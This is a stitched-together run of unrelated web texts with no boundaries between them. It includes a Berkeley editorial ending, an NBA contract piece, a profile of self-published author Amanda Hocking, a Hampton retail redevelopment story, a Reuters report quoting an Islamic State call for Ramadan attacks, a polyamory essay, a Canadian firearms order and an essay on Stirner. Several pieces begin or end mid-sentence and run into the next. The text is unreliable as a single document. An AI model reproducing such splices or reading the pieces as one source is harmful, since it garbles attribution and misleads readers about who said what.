For his part, Sittler told me he “wouldn’t be opposed” to working with the university on a possible do-over of the event, in which all concerned could apply the lessons learned from this one to assure success.
In short, it’s the height of irresponsibility and bias to attribute this violent denouement, as the president did, to the indifference of the university administration, much less its active complicity.
Berkeley’s leadership may never have Donald Trump’s support, or he theirs. But they certainly don’t deserve his vilification for what happened Wednesday night, especially since they were trying, successfully or not, to uphold the rights of people with whom they openly disagree. In that respect, Berkeley’s administrators set an example he would do well to emulate.USA Today
If Dwyane Wade isn't in a Miami Heat jersey next season, we'll know something has gone horribly wrong.
Perhaps it'll mean he's been conscripted into service as a fighter pilot against an alien invasion. Or maybe NBA basketball will cease to exist following a post-apocalyptic societal collapse.
Far-fetched as those scenarios may seem, they still feel more plausible than Wade, the truest Heat lifer in existence, wearing another team's colors in 2015-16.
As Bleacher Report's Ethan Skolnick wrote:
Wade is home. He has been since 2003, when South Florida became his town, AmericanAirlines Arena became his house and Heat fans, even a man named [Dan] Marino, became his fans. Even if it comes at an uncomfortable cost, the Heat must do what it takes to keep him there.
Wade, who has never been the highest-paid player on his team, gave up $11 million last summer to sign a new cap-friendly deal that he thought would give the organization a better shot at keeping LeBron James and rebuilding a championship contender.
Now, Wade wants to be made whole, and according to a report from Barry Jackson of the Miami Herald, the Heat aren't ready to hand over an above-market deal this summer to make that happen.
"With the amount of time he has spent with the organization, every effort will be made to try to work something out," Wade's agent, Henry Thomas, told Jackson. "The five times he played for a championship, resulting in three championships, is a significant accomplishment for any professional."
Wade has a player option, which means he can become an unrestricted free agent on July 1. |
. I never realized how spoiled I was until after I left home for the military. Since then, I have been continuously learning about various cuisine types and cooking styles. This has ultimately allowed me to help create new memorable moments with my friends and family today that I will cherish for the rest of my life.
Regarding Travel
I could name so many influential people and moments that helped shape my views while I was in the military, but the commonality among them all is the understanding of people and societies that comes with traveling. Moving around with the military introduced me to worlds I had never been exposed to before. This led to my love affair with traveling and simply observing and interacting with the locals to understand a little bit more about their lives and cultures.
Bringing It All Together
During all of this I have found that there exists extremely strong connections between my three passions: food, travel, and tech. The best way to understand a foreign community is to talk to them, partake in their local customs and to enjoy the food that supplements their life. The barriers that may have prevented more people from being able to travel more freely are continuously being chipped away at through technological advances in translation services, communications, travel services, etc. All of this together means that more people are now able to interact with each other and hopefully learn more about our differences, but also at our core how similar we all really are.A couple of years ago, Amanda Hocking needed to raise a few hundred dollars so, in desperation, made her unpublished novel available on the Kindle. She has since sold over 1.5m books and, in the process, changed publishing forever
When historians come to write about the digital transformation currently engulfing the book-publishing world, they will almost certainly refer to Amanda Hocking, writer of paranormal fiction who in the past 18 months has emerged from obscurity to bestselling status entirely under her own self-published steam. What the historians may omit to mention is the crucial role played in her rise by those furry wide-mouthed friends, the Muppets.
To understand the vital Muppet connection we have to go back to April 2010. We find Hocking sitting in her tiny, sparsely furnished apartment in Austin, Minnesota. She is penniless and frustrated, having spent years fruitlessly trying to interest traditional publishers in her work. To make matters worse, she has just heard that an exhibition about Jim Henson, the creator of the Muppets, is coming to Chicago later that year and she can't afford to make the trip. As a huge Muppets fan, she is more than willing to drive eight hours but has no money for petrol, let alone a hotel for the night. What is she to do?
Then it comes to her. She can take one of the many novels she has written over the previous nine years, all of which have been rejected by umpteen book agents and publishing houses, and slap them up on Amazon and other digital ebook sites. Surely, she can sell a few copies to her family and friends? All she needs for the journey to Chicago is $300 (£195), and with six months to go before the Muppets exhibition opens, she's bound to make it.
"I'm going to sell books on Amazon," she announces to her housemate, Eric.
To which Eric replies: "Yeah. OK. I'll believe that when it happens."
Let's jump to October 2010. In those six months, Hocking has raised not only the $300 she needed, but an additional $20,000 selling 150,000 copies of her books. Over the past 20 months Hocking has sold 1.5m books and made $2.5m. All by her lonesome self. Not a single book agent or publishing house or sales force or marketing manager or bookshop anywhere in sight.
So let the historians take note: Amanda Hocking does get to Chicago to see the Muppets. And along the way she helps to foment a revolution in global publishing.
I've come to Austin, legendary birthplace of Spam (the canned as opposed to the digital version), to find out what this self-publishing revolution looks like in the flesh. I can report that, from the outside, it's surprisingly conventional. Hocking no longer lives in that pokey apartment, but then she's no longer a struggling would-be author. She's bought herself her own detached home, the building block of the American dream, replete with gables and extensions, its own plot of land, and a concrete ramp on which to park the car.
But step inside and convention gives way to a riot of colour. It is just before Christmas, and Hocking has decorated the house with several plastic trees bedecked in lights and two large Santa stockings pinned expectantly over the mantelpiece. The sofa is scattered with animals, some of the cuddly toy variety and others alive, notably Elroy the miniature schnauzer and Squeak the cat (apparently they get on very well).
She greets me at the door and, without preamble, we talk for the next two hours about her extraordinary rags-to-riches tale and what it means for the future of the book. At 27, and with only a few months in the limelight, she is patently new to the fame game. She seems nervous at first, answering my questions in short bursts and fiddling with her glasses; but gradually she relaxes as we discuss what for her has been the central passion of her life since an infant.
She was brought up in the Minnesota countryside on the outskirts of Blooming Prairie about 15 miles north of Austin. Her parents divorced when she was young, money was tight and there was no cable TV to wallow in. "So I read a lot. I would go to the library, or get books at rummage sales. I got through them so quickly I started reading adult books because they were longer. I remember my mom giving me a box set of five books to last me all summer; I devoured them all in two weeks."
By the age of seven she was reading Jaws by Peter Benchley and anything by Stephen King. Michael Crichton, JD Salinger, Shakespeare, Jane Austen, Mark Twain, Jack Kerouac, Kurt Vonnegut and many others fed an insatiable appetite.
It was a way, she now thinks, of coping with the depression that troubled her childhood. "I was always depressed growing up. There wasn't a reason for it, I just was. I was sad and morose. I cried a lot, I wrote a lot, and I read a lot; and that was how I dealt with it."
What went in had to come out. The child Hocking began telling her own stories before she could walk. She was forever inventing make-believe worlds, so much so that the counsellor to whom she was sent for depression concluded that her incessant storytelling was an aberration that had to stop. Fortunately for Hocking, and for her many fans, her parents took her side in this argument, and she was never sent back to see him.
At 12 she had already begun to describe herself as a writer and by the end of high school she estimates she had written 50 short stories and started countless novels. The first that she actually completed, Dreams I Can't Remember, was written when she was 17. She was very excited by the accomplishment, and printed it out for friends and family, as well as sending it to several publishers.
"I got rejection letters back from all of them. I don't blame them – it wasn't very good," Hocking says.
Hocking went on to develop an intimate relationship with rejection letters. She has somewhere in her new house a shoebox full of them.
Yet she would not give up. She wrote unpublished book after unpublished book. "Sometimes I'd say: 'I'm done, I'm never going to write another book,' but then a couple of months later I'd have another idea and I'd start again. This time it was bound to work."
In 2009 she went into overdrive. She was frantic to get her first book published by the time she was 26, the age Stephen King was first in print, and time was running out (she's now 27). So while holding down a day job caring for severely disabled people, for which she earned $18,000 a year, she went into a Red Bull-fuelled frenzy of writing at night, starting at 8pm and continuing until dawn. Once she got going, she could write a complete novel in just two or three weeks. By the start of 2010, she had amassed a total of 17 unpublished novels, all gathering digital dust on the desktop of her laptop.
She received her last rejection letter in February 2010. Hocking says she hasn't kept the letter, which is a crying shame because it would surely have been an invaluable piece of self-publishing memorabilia. As far as she can remember, the last "thanks-but-no-thanks" came from a literary agent in the UK. If that agent is reading this article, please don't beat yourself up about this. We all make mistakes...
April 15 2010 should also be noted by historians of literature. On that day, Hocking made her book available to Kindle readers on Amazon's website in her bid to raise the cash for the Muppets trip. Following tips she'd gleaned from the blog of JA Konrath, an internet self-publishing pioneer, she also uploaded to Smashwords to gain access to the Nook, Sony eReader and iBook markets. It wasn't that difficult. A couple of hours of formatting, and it was done.
"I didn't have a lot of hope invested in it," she says. "I didn't think anything would come of it." How wrong she was.
Within a few days, she was selling nine copies a day of My Blood Approves, a vampire novel set in Minneapolis. By May she had posted two further books in the series, Fate and Flutter, and sold 624 copies. June saw sales rise to more than 4,000 and in July she posted Switched, her personal favourite among her novels that she wrote in barely more than a week. It brought in more than $6,000 in pure profit that month alone, and in August she quit her day job.
By January last year she was selling more than 100,000 a month. Being her own boss allowed her to set her own pricing policy – she decided to charge just 99 cents for the first book in a series, as a loss leader to attract readers, and then increase the cover price to $2.99 for each sequel. Though that's cheap compared with the $10 and upwards charged for printed books she gained a much greater proportion of the royalties. Amazon would give her 30% of all royalties for the 99-cent books, rising to 70% for the $2.99 editions – a much greater proportion than the traditional 10 or 15% that publishing houses award their authors. You don't have to be much of a mathematician to see the attraction of those figures: 70% of $2.99 is $2.09; 10% of a paperback priced at $9.99 is 99 cents. Multiply that by a million – last November Hocking entered the hallowed halls of the Kindle Million Club, with more than 1m copies sold – and you are talking megabucks.
The speed of her ascent has astonished Hocking more than anyone. She was so elated to receive her first cheque from Amazon, for $15.75, that she didn't cash it and still has it pinned up on a noticeboard above her desk. "It went from zero to 60 overnight," she says. "Everybody was buying my books and it was overwhelming."
In internet-savvy circles she has been embraced as a figurehead of the digital publishing revolution that is seen as blowing up the traditional book world – or "legacy publishing" as its detractors call it – and replacing it with the ebook, where direct contact between author and reader, free of the mediation of agent and publishing house, is but a few clicks away. There is certainly something to that argument. The arrival of Hocking onto the Kindle bestseller lists in barely over a year is symptomatic of a profound shift in the book world that has happened contiguously. Her rise has occurred at precisely the moment that self-publishing itself turned from poor second cousin of the printed book into a serious multi-million dollar industry. Two years ago self-publishing was itself denigrated as "vanity publishing" – the last resort of the talentless. Not any more.
A survey carried out last year by the book blog Novelr found that of the top 25 bestselling indie authors on Kindle, only six had ever previously enjoyed print deals with major book publishers. With ebook sales reaching $878m in the US in 2010, an almost fourfold increase from the year before, some 30 authors have already sold more than 100,000 copies through Kindle's self-publishing site. That's the kind of statistic that made Penguin's chief executive, John Makinson, say recently that he saw "dark clouds" gathering in 2012.
But Hocking's new-found stature as self-publishing vanguardista is not something she welcomes. "People built me up as a two-dimensional icon for something I was not. Self-publishing is great, but I don't want to be an icon for it, or anything else. I would rather people talk about the books than how I publish them."
She also resents how her abrupt success has been interpreted as a sign that digital self-publishing is a new way to get rich quick. Sure, Hocking has got rich, quickly. But what about the nine years before she began posting her books when she wrote 17 novels and had every one rejected? And what about the hours and hours that she's spent since April 2010 dealing with technical glitches on Kindle, creating her own book covers, editing her own copy, writing a blog, going on Twitter and Facebook to spread the word, responding to emails and tweets from her army of readers? Just the editing process alone has been a source of deep frustration, because although she has employed own freelance editors and invited her readers to alert her to spelling and grammatical errors, she thinks her ebooks are riddled with mistakes. "It drove me nuts, because I tried really hard to get things right and I just couldn't. It's exhausting, and hard to do. And it starts to wear on you emotionally. I know that sounds weird and whiny, but it's true."
In the end, Hocking became so burned out by the stress of solo publishing that she has turned for help to the same traditional book world that previously rejected her and which she was seen as attacking. For $2.1m, she has signed up with St Martin's Press in the US and Pan Macmillan in the UK to publish her next tranche of books. The deal kicks off this month with a paperback version of Switched. It's a fast-paced romance featuring changeling trolls called Trylle who are switched at birth with human babies. The novel cannot be classed as literary, but then it makes no pretensions to be so. It is precision-targeted at a young-adult audience, and is surprisingly addictive. Once the Trylle trilogy is out, Hocking's new series of four novels, Watersong, revolving around two sisters who get caught up with sirens, will be released from August in hardback and ebook simultaneously.
Hocking's editors on both sides of the Atlantic point to the deal as evidence that traditional and solo digital publishing can live in harmony. "There's a lot of talk about publishers being left out of the loop," says Jeremy Trevathan, Macmillan's fiction editor. "But this whole thing is an opportunity for writers and publishers to find each other." Or as Matthew Shear, publisher of St Martin's Press, puts it: "It's always been the same since the days when people self-published from the back of their car – cream will rise to the top."
There's something peculiar about all this: one of the leading figures in the self-publishing revolution is now being vaunted by major book houses in London and New York as evidence that traditional publishing is alive and kicking. Hocking is very aware of the paradox, which she observes with a wry writer's eye. "A lot of people are saying publishing is dead," she says. "I never did, and I don't think it is. And they want to use me to show it isn't."
Switched, the first in the Trylle Series by Amanda Hocking, is out now in paperback and ebook formats, featuring previously unseen extra material. Published by Pan Macmillan in the UK and St. Martin's Griffin in the USA. For further information, see www.worldofamandahocking.com.
Some of the other Kindle Million Club members
Stephen Leather
Widely hailed as Britain's most successful "independent" writer, two years ago Leather took three novellas that had been turned down by Hodder & Stoughton and issued them for the Kindle through Amazon. Last year, he put his monthly income from ebooks at around £11,000.
Joe Konrath
The Chicago-based author is both prolific – he has written seven thrillers, a horror series, and a sci-fi novel, each under a different pseudonym – and candid about the benefits of self-publishing. "One hundred grand – that's how much I've made on Amazon in the last three weeks," he boasted on his blog last month.
HP Mallory
The "urban fantasy and paranormal romance" author sold around 70,000 copies of her ebooks in two months last year, and signed a three-book contract with traditional publisher Random House. She sums up her appeal thus: "If you're all about fairies and witches and vampires (oh my!) … and you like men who get a little hairy during a full moon, I got the goods."
John Locke
Last summer, the one-time insurance salesman from Kentucky became the first self-published author to sell 1m Kindle ebooks. Alongside his lurid thrillers fans can download an advice book entitled How I Sold 1 Million eBooks in 5 Months!.
Oliver Pötzsch
German novelist and film-maker Pötzsch has reached the highest echelons of the Kindle bestsellers list with the English translation of his historical novel The Hangman's Daughter. It's a big success story for AmazonCrossing, which identifies books selling well in other languages, and republishes them in English. Laura BarnettOne of the oldest shopping centers in Hampton's Coliseum Central District is set for a $60 million overhaul pending the final sale of the property.
Hampton development officials announced plans Monday to redevelop the Riverdale Plaza Shopping Center, which includes plans for a new 123,000-square-foot Kroger Marketplace grocery store to help anchor the project.
At Home, a national home décor and furniture store based in Plano, Texas, is also set to anchor the retail center at 1072 W. Mercury Blvd. with a 91,000-square-foot store, company officials announced last week.
Augusta, Ga.-based Southeastern Development Associates would maintain and manage the retail center once the sale of the property closes, said Southeastern Development Associates President Mark Senn.
Senn said officials plan to rename the aging center Riverpointe.
All parties involved in the final transaction, including Kroger, had not reached a final agreement on the property sale by press time Monday evening.
(Judith Lowery)
Senn would not comment Monday evening about the pending transaction or the future of the center's existing tenants since the sale of the property had not closed.
"We want to make this feel like it fits in with the new development that's around it," Senn said in a city news release. "We want to put tenants in here that will complement what's in Peninsula Town Center."
Members of the Hampton Economic Development Authority passed a resolution last month authorizing up to $4.25 million in performance-based grants that would be paid out in the future to the developer.
As part of the grant agreement, the developer must secure up to $662,000 in local sales and use taxes to get the full annual $425,000 grant pay out starting in 2019. Local sales tax revenues from Hampton businesses that relocate to the shopping center would not count toward the grant tally.
Southeastern officials are eligible for the grant pay-out over 10 years, according to the agreement.
Sledge said the deal was structured to encourage new, diverse retail development options.
"For many years the city has been looking for an opportunity to engage the existing owners or potential owners to reposition and redevelop the property," said Leonard Sledge, Hampton economic development director. "It's been a priority of our City Council and a desire of our citizens."
Plans call for Riverpointe to shed much of its dated exterior, with some of its massive parking lot — sometimes home to more seagulls than to cars — being transformed to accommodate Kroger's larger store format for the development. Additional plans also call for Kroger to install an 18-pump gas station on the property.
Kroger would not elaborate further on its future Hampton location since the sale of the center had not been finalized.
"Kroger has great partners in the city of Hampton," said Kroger spokeswoman Megan Irvin in an email. "The future of the redeveloped Riverdale Shopping Center looks prosperous. We see this as an exciting time for the city and the Coliseum Central community."
Spanning nearly 178,000 square feet on 50 acres, Riverdale Plaza Shopping Center was one of the first major retail centers constructed in the city prior to the former Coliseum Mall's development in 1973. But as new shopping options began to bloom within Coliseum Central, Riverdale didn't keep pace with its more notable redeveloped retail neighbors, such as Peninsula Town Center, Coliseum Crossing and Mercury Plaza.
The retail center is still home to a few national retailers and businesses — such as Office Depot, JoAnn Fabric and Craft store and a U.S. Post Office branch — although the bulk of its tenants are small local businesses.
As patrons and store front owners busily made their rounds Monday afternoon, many said they were caught off guard by the shopping center's pending sale.
Nhu Nguyen at Ferguson's Shoe Repair said he had heard of a potential buyer, but had not received any correspondence from the city nor the current and potential owners of the retail center.
Nguyen said his shoe repair shop has been a tenant of the shopping center for decades, adding that he's been the owner of the shop for 13 years. He said while he's pleased development officials plan to invest in the center, he's worried about rising rents.
"I'm OK with it," Nguyen said. "It's good for the city, but I'm not sure how it's going to impact small businesses in here."
While manning the cash register of his men's suite store, Charles Smith, owner and operator of Chase II, echoed those sentiments. He said while the shopping center needs a facelift, he was more concerned about the future of his business at the center.
"Will the city of Hampton help us relocate to other areas?" Smith inquired. "They give [the developer] about $4 million to build a new store here, but what about the small businesses that have been here?"
Murphy can be reached by phone at 757-247-4760. O'Neal can be reached by phone at 757-247-4744.BAGHDAD (Reuters) - A new message purporting to come from the spokesman of Islamic State calls on followers to launch attacks on the United States and Europe during the Islamic holy month of Ramadan, which begins in early June.
“Ramadan, the month of conquest and jihad. Get prepared, be ready... to make it a month of calamity everywhere for the non-believers... especially for the fighters and supporters of the caliphate in Europe and America,” said the message, suggesting attacks on military and civilian targets.
The authenticity of the audio clip, purporting to be from Abu Muhammad al-Adnani and distributed on Saturday by Twitter accounts that usually publish Islamic State statements, could not be verified.
“The smallest action you do in their heartland is better and more enduring to us than what you would if you were with us. If one of you hoped to reach the Islamic State, we wish we were in your place to punish the Crusaders day and night,” Adnani said.
The militant group, which seeks to establish a caliphate across the Middle East and beyond, has claimed deadly attacks over the past year on civilians in France, Belgium and the United States.
But the message made no mention of the EgyptAir flight that crashed into the Mediterranean on Thursday in unexplained circumstances, amid speculation by Egyptian, French and American officials that a jihadist attack was the most likely cause.
A U.S.-led coalition, which also includes European and Arab countries, launched a campaign of air strikes against Islamic State in Iraq and Syria in 2014 after the militants seized vast swathes of territory in those countries.
“Their planes do not distinguish between civilians and combatants, man or woman,” the message continued, in apparent reference to the strikes.When our thought and practice of polyamory were very fresh, I wrote an idyllic description of a way of living I could see myself aiming for. Now, while translating it to English and editing along the way, I may be a bit wiser. But I still think it’d be awesome if this ever happens.
~~~
I want to live in a small community of selected people. We’ll love and appreciate each other, and some of us will be lovers as well. We’ll be each other’s security net and support group. We’ll be a family that we do choose – every day anew. We’ll be a home.
We’ll live in a big house with a bright, well-lit kitchen. I’ll be able to cook and feed there, along anyone who might want to join in. The dining table will be long and wide, able to accommodate all of us, with friends and family to boot. Cats will sunbathe on the windowsills.
CK will have a pleasant space on the first floor where he can treat customers and the people of the house.
Those of us who are good with plants and animals will do some farming. They will cultivate and produce fresh food for everyone, and maintain a beautiful garden that’s inviting and comfortable all year round. We’ll also have a bunch of pets, some of which living in a separate structure so that fur and noise are not an issue.
The house will have rooms in various sizes, for not everyone has the same needs. If someone needs a separate study or workroom – they’ll have one. And those who enjoy working together – will do that. Additionally we’ll have a big gathering room where we can all hang out and sleep together, should we choose to.
Gaming computers around the house will allow us to have LAN parties of our choice. The attic will be a huge library: a cool, quiet place with thick carpets, assorted pillows and comfortable couches. The basement will be our home cinema, with an amazing sound system and a high-quality projector. Small speakers hidden across the house will provide separate music to each space – this way whoever stays there can choose what fits them at the time and place (taking others into consideration, of course).
Somewhere, we’ll have a heated swimming pool too.
Children, pets and plants will not be the exclusive responsibility of their creators\adopters. They will “belong” to the house, and everyone will lend a hand in caretaking. A biological parent won’t need to give themselves up, won’t need to stop traveling, experiencing and doing their thing. Once in a while someone, a couple, or more – will escape to be with themselves for a while, if they want to. They can travel abroad, across the country, to the mall or to their private rooms, and the house will remain and await their return. But no one will just go away without a warning. The responsibility will be mutual, we’ll share our needs, expectations and schedules and make sure we’re all on the same page. We’ll be there for each other, help each other out, speak up if we feel wronged, share our hardship and doubts, and overcome challenges and chores together. We’ll do our best to be our best selves, for the house and it’s occupants as well.
Of course, it won’t be easy. Getting along with just one person in the world is hardly an obvious thing. But those who’d want to and try hard enough – will make it. And those who give enough – will earn so much on so many levels.
<3
~~~
When first published in the local non-monogamy group, some people liked the idea a lot, and others said it was doomed to fail. Here are some of the issues they surfaced, and what I make of them.
“People will only think of themselves… They’ll leave the moment they grow tired of everyone.” Well, sure! That’s what people do in all sorts of relationships. But I believe that if the sharing of resources (time, money, attention, love) feels fair to all involved, and makes them feel happy and secure, they’ll do all they can to remain a part of the group.
“Who will take care of the kids? Everyone will just fly around having sex all the time!” Huh, maybe the person who wrote that is like that. I doubt that anyone I appreciate will choose to be with people who are as irresponsible and careless as to throw their kids aside for a whim. Adding people to our house won’t be a free pass! It will take serious consideration and care for everyone. If someone shows no respect, they’ll get no respect and will not be allowed to move in.
“You can’t decide for others, what will you do if they throw YOU out?” Ah, but you’re forgetting it’s all starting as our house: CK’s and mine. Why would we let enter those who would drive our loved ones away? When and if more people join in, the place should run democratically enough. Considering that we’ll probably live with like-minded, communicative, open people, who don’t look for an argument for argument’s sake, I’m sure we’ll get along fine.
“I’m not gonna live with you, I hate cooking and gardening. You can’t make me!” I won’t “make” anyone do anything. If everyone found their preferred corner and there are still chores that no one wants to do, they will be divided fairly between everyone. If someone can’t join the group effort, the group will talk about it and settle things like grown ups. If someone still screams “you can’t make me!”, and it’s not one of the kids, we might have to reconsider his citizenship… ;)
~~~
Got questions? Think this is an awesome \ terrible idea? Wanna apply for the dreamhouse? Got a land lot you can’t find a use to? Write to me in the comments!Registration
SI/2015-80 August 12, 2015
COMMON SENSE FIREARMS LICENSING ACT
Order Fixing September 2, 2015 as the Day on which Certain Provisions of the Act Come into Force
P.C. 2015-1172 July 31, 2015
His Excellency the Governor General in Council, on the recommendation of the Minister of Public Safety and Emergency Preparedness, pursuant to subsection 38(2) of the Common Sense Firearms Licensing Act, chapter 27 of the Statutes of Canada, 2015, fixes September 2, 2015 as the day on which subsection 2(1), sections 6 and 11 and subsection 13(1) of that Act come into force.
EXPLANATORY NOTE
(This note is not part of the Order.)
Proposal
This Order, pursuant to subsection 38(2) of the Common Sense Firearms Licensing Act (the Act), chapter 27 of the Statutes of Canada, 2015, fixes September 2, 2015, as the day on which subsection 2(1), sections 6 and 11 and subsection 13(1) of that Act come into force to simplify firearms transportation requirements.
Objective
The purpose of this Order is to eliminate the requirement for an individual to separately apply for an Authorization to Transport (ATT) for certain transportation activities. ATTs would become a condition attached to the licence.
Background
Pursuant to the Firearms Act, individuals who wish to acquire restricted and/or prohibited firearms must demonstrate to a Chief Firearms Officer (CFO) that the acquisition of the firearm is for one of the following purposes: protection of life; for use in connection with a lawful profession or occupation; for use in target practice or a target shooting competition; or, to form part of a gun collection.
Restricted and prohibited firearms may only be possessed by the licenced individual either at his or her residence or at a place authorized by a CFO (e.g. shooting range/club). To transport such firearms between approved locations, an ATT, issued by a CFO, is required. Pursuant to paragraph 93(1)(b) of the Criminal Code, it is an offence to possess such firearms at a place other than at the place which is indicated on the authorization (an indictable offence and liable to imprisonment for a term not exceeding five years; or punishable on summary conviction). ATTs are not required for non-restricted firearms.
ATTs are not issued for each firearm. Rather, an ATT can authorize the transport of any number of firearms, so long as it is for one legitimate purpose (e.g. change of residence, shooting competition, gun show or repair). Firearms being transported for more than one purpose (e.g. appraisal and sale) require separate authorizations. There is no cost to obtain an ATT.
CFOs may issue an ATT if, in their opinion, doing so will not pose a threat to public safety. The process and length of time for an ATT to be processed may vary depending on the scrutiny applied by the CFOs.
Conditions attached to the ATT may also vary. Ontario, for example, adds a requirement that ATT holders carry an invitation to a range (or a notice of competition) if they attend a shooting range or club to which they are not a member. Quebec and Prince Edward Island limit the transport of firearms to the range/shooting club to which the ATT holder is a member, while Western provinces permit the transport to any CFO-approved range within the province.
Once issued, an individual must meet the transportation requirements under the Act (i.e. that the firearm be unloaded; locked in a container; and, if left in an unattended vehicle, that the container not be visible from outside the vehicle [e.g. locked in the trunk]). It is an offence to contravene these transportation regulations (imprisonment for a term not exceeding two years [first offence] or five years [subsequent offence] or punishable on summary conviction).
The Firearms Act provides that an ATT may be issued as a licence condition. In practice, however, the ATT is applied for and issued as a separate document, which individuals must carry in addition to their licence and registration certificate(s).
Implications
The Order would require a Chief Firearms Officer to automatically issue, as a condition on the licence, and for specific reasons, an ATT when he or she approves the transfer (i.e. change in ownership) of a restricted or prohibited firearm. The effect of this change is to eliminate the requirement for an individual to separately apply for an ATT for certain transport activities, such as
going to and from all CFO approved shooting clubs or ranges within an individual’s province of residence;
taking a firearm home after a transfer (e.g. purchase at a gun store);
going to and from the following: a gunsmith; a gun show; a Canadian port of entry or exit; or a peace officer or a Chief Firearms Officer for verification, registration or disposal.
The Authorization to Transport Restricted Firearms and Prohibited Firearms Regulations would be amended to make it clear that there is no requirement, as a condition of transport, to maintain a membership to a CFO-approved shooting club or range.
Approximately 140 000 ATTs are issued nationally each year, the majority of which are for target practice/sports shooting.
Consultation
A number of stakeholders, including the Canadian Firearms Advisory Committee, have expressed concern regarding the inconsistent application of the ATT process in various jurisdictions, the administrative burden associated with the varying practices, and the requirement to carry the ATT as a separate document [with a firearms licence and registration certificate(s)]. They have also questioned the need for an ATT given the significant training and screening requirements to obtain a licence and the subsequent approval process to obtain restricted/prohibited firearms.
Communication strategies
A news release from the Minister of Public Safety and Emergency Preparedness will be issued and relevant information on those changes will be provided via the Royal Canadian Mounted Police Canadian Firearms Program.
Departmental contact
Lyndon Murdock
Director
Law Enforcement and Policing Branch
Public Safety Canada
269 Laurier Avenue West
Ottawa, Ontario
K1A 0P8
General inquiries: 613-944-4875
Fax: 613-954-4808
Email: firearms@ps-sp.gc.caOne of the most repeated mantras in all of software is the term “Don’t Repeat Yourself”. The phrase was first popularized by the book The Pragmatic Programmer, with it’s call for DRY software. At it’s core, DRY is all about finding a way to keep logic related to a particular function in one place, so that changes for new functionality can be limited in scope and have predictable consistent effects. Software developers are usually very good at knowing that repetition is bad, but I’ve seen that we can be less great at communicating about our options to avoid it, or discussing the tradeoffs between different approaches. This post is going to look at a specific situation that programmers encounter all the time, and give a framework for talking about how to handle it, focusing on positive options rather than simply what we want to avoid.
The high level situation I want to talk about is when a programmer encounters a problem for which they have an existing piece of code that mostly works as a solution, but doesn’t quite meet all the requirements. Some examples would include:
a screen that is required to show a user avatar, but at a different size than other avatars displayed in the interface (all of which use an existing avatar ui widget)
a program that already has an API to get friends data from a users Facebook account, and needs to add a second API to get similar data from their Twitter account
a program that needs a function that takes an integer or a string and displays it on the screen, when it already has a function that displays data but only accepts strings
Some of those are simple, some are more complex, and you might already be thinking about how you’d handle each case. The point isn’t so much the exact example so much as having a way to communicate what the options are. I’m going to lay out 6 different patterns for handling situations where you’re required to implement something similar but not exactly the same as something that already exists. I will not be endorsing a particular strategy as correct, since they all have their place. Instead I’ll be discussing the benefits |
us play a provisional dialectical game, and suppose that Ego= x is defined in opposition to the Cause.
Cause, or, in German, Sache: either has one of those amusingly long dictionary entries which might make us laugh at the game of definition. Playing this game for a moment, we might read under Sache thing, object, article, cause, action, legal case... and so we might learn what game Stirner was playing. These are all things that, though they may seem to be objects of the subject that I am, are eminently marks or signs of my subordination to a greater subject. We know that it is a subject because that is how it appears in our speech. It is greater than me inasmuch as it is imagined as transcendent or eternal. It seems to constitute me in mediate relation to things and actions, by means of constituting me in immediate relation to itself, to its Cause.
I will rehearse the enumeration of causes in the delightful opening rant of the book, entitled “All Things are Nothing to Me.” Stirner opens The Ego and its Own in the first person: “What is not supposed to be my concern!” (5). What follows is a list of Causes that I am asked to accept as my own: the Cause of God, the Cause of Humanity, the Cause of the State, etc, etc. In each case I am asked to identify with a Cause alien to my interest. The terms of this offer are hardly delicate. Stirner observes: what we can say about God is that God is God’s main concern. What we can say about Humanity is that Humanity is Humanity’s main concern. What we can say about the State is that the State is the State’s main concern. But inexplicably I find myself in this statement: “I myself am my concern” (7). My Cause will be my own. I note with interest that Stirner gives no explanation as to how he or any of us might come to make such a claim. Now please read those statements again and observe for yourself. The relation of being its own main concern is said of an entity that is totally hypothetical. More precisely: imaginary. Stirner never gives us any reason to believe that there is God or Humanity beyond the quasiexistence that constellations of fixed ideas in the imagination might be said to have. As for the State, according to a definition that ought to be familiar to anarchists, it can be clearly shown to be the modes of behavior of those who live in accord with that profoundly inadequate constellation of ideas, that Cause. So, through a more circuitous route, the same difference. None. A paradoxical question: if all of these Causes-Subjects are imaginary, am I imaginary? What was I before this constitutive event, before this process began? What am I once I break with the Cause? Was I ever, can I ever be again, its orphan and its atheist?
In the sacred and sacrificial logic of every Cause except perhaps my own, the imaginary greater subject (God, Humanity, the State, etc, etc.), the one that defines me, forcibly constitutes me in mediate relation, not only to things and actions, but above all to myself. One could say, as Debord did that its operation is separation, the introduction of a “scission within human beings.” But that cannot be the whole story. I agree with Stirner that there is no Man: Humanity is another Cause. Scission or separation within what, then? Just this cipher we call the Ego, this variable that names not generic humanity but individual human bodies. Individuals? Humans? I will come back to individuals and humans.
The imagination does not speak. Someone has spoken. He or she is a representative of the Cause, or wants you to think so. He does not speak in his own name. She says she speaks for the Cause. He shares, without invitation, his imagination. She insists that you accept her gift of words, sometimes even of organs. As David Hume once put it: “In vain, by pompous phrase and passionate expression, each recommends his own pursuit, and invites the credulous hearers to an imitation of his life and manners.” Someone says (usually repeats) to you that you must take this Cause as your own; that without it, your life is meaningless. “Every man must have something that is more to him than himself’ (254). Stirner implies that, in such moments, you might accept, even embrace, the possibility of meaninglessness. He does not assume that, now that the God Cause, the State Cause, etc, etc; is no longer my own, I immediately know what I am doing, or what to do next. To assume my Cause as my own does not mean that I know what I am or what I want to do. I can say that I will make my Cause my own, but I may not know what that means. I might trip up in my imaginary self-constitution. Not knowing is not only possible but probable. Someone sure of the next step has probably just switched Causes. Sometimes that is called progress.
Towards the end of the opening rant, Stirner affirms: “If God, if mankind, as you affirm, have substance enough in themselves to be all in all to themselves, then I feel that I shall still less lack that, and that I shall have no complaint to make of my ‘emptiness.’ I am not nothing in the sense of emptiness, but I am the creative nothing, the nothing out of which I myself as creator create everything” (7). His rhetoric is fascinating: If, as you affirm... - but why grant anything to this interlocutor? If, as the credulous affirm, then I feel... Nothing has been proven. What, then, is Stirner evoking? What is this creative nothing out of which I myself as creator create everything? What is this inexplicable and perilous moment wherein I subtract myself from a Cause that appears to give meaning to my life from beyond? (I repeat that this is first and foremost to subtract myself from the gift of meaning offered or imposed by one who imagines the Cause as their own.) It includes the possibility of being nothing or of doing nothing. This experience of nothingness recurs regularly in The Ego and its Own. But the crucial difference between nothing in the sense of emptiness and the creative nothing is that the first is not-Cause (to be rid of it, or freedom) and the second is beyond any serious relation to Causes (to be myself, or ownness), not defined in terms of contradiction or breaking-with. This is a gesture of autonomy - to speak in one’s own name. But, rhetorical disavowals aside, the name is empty; it is a mask. So maybe the dialectical game ends here.
